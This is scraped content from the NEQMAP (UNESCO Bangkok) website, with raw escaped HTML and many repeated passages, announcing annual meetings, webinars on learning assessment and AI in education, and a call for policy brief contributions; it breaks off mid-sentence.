As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

We welcome the collective wisdom of educational researchers and policy experts to offer insight on socio-economic background, gender, ethno-linguistic minorities, and rural and urban differences in learning outcomes.<\/p>\n\n\n\nThis series aims to:<\/p>\n\n\n\n<ol>\n<li>Inform thinking, research, and methods on evidence-based policymaking and practice in education, and<\/li>\n\n\n\n<li>Support knowledge-sharing among education stakeholders involved in assessments of student learning.<\/li>\n<\/ol>\n\n\n\nWe are currently seeking contributions to the first two briefs, focusing on (1) learning outcomes in Asia-Pacific by socio-economic background, and (2) gender. The briefs will identify learning outcome gaps, potential underlying factors, and propose promising policy solutions to ensure better learning for all, using large-scale assessment (LSA) datasets as primary source data.<\/p>\n\n\n\n1. Socio-economic Background and Learning:<\/strong> This brief will review learning outcomes of students along the socio-economic spectrum, with a particular focus on school level analysis and the concept of resilience as defined by PISA.<\/p>\n\n\n\n2. Gender and Learning:<\/strong> This brief will analyze learning outcomes of boys and girls across various competency domains, looking at socio-economic background, learners' perceptions of schools, schooling experiences, developmental and cultural factors, and school policies and practices.<\/p>\n\n\n\nContributors should focus on learning gaps in Asia-Pacific, with attention given to school-aged students in formal education. Comparable data from international, regional, and national assessments, such as PISA, TIMSS, PIRLS, SEA-PLM, PILNA etc., should be used.<\/p>\n\n\n\nFormat:<\/strong> Written policy brief (~10 to 15 pages in a WORD document)<\/p>\n\n\n\nTentative Timeline:<\/strong><\/p>\n\n\n\n<ul>\n<li>Application Deadline: July 20th, 2023<\/li>\n\n\n\n<li>Notification of Selection: July 30th, 2023<\/li>\n\n\n\n<li>Submission of Detailed Outline: Mid-August 2023<\/li>\n\n\n\n<li>Feedback from Editorial Team: End of August 2023<\/li>\n\n\n\n<li>1st Draft Submission: September 2023<\/li>\n\n\n\n<li>1st Round of Reviews and Feedback: October 2023<\/li>\n\n\n\n<li>Revision of Drafts: November 2023<\/li>\n\n\n\n<li>Publication and Launch: December 2023<\/li>\n<\/ul>\n\n\n\n<\/p>\n\n\n\nHow to Apply:<\/strong><\/p>\n\n\n\n Fill in the application form (see Annex 1) and email it to the NEQMAP Secretariat (neqmap@unesco.org) by 20th July 2023, 00:00 Bangkok time (GMT+7).

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods.

The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All 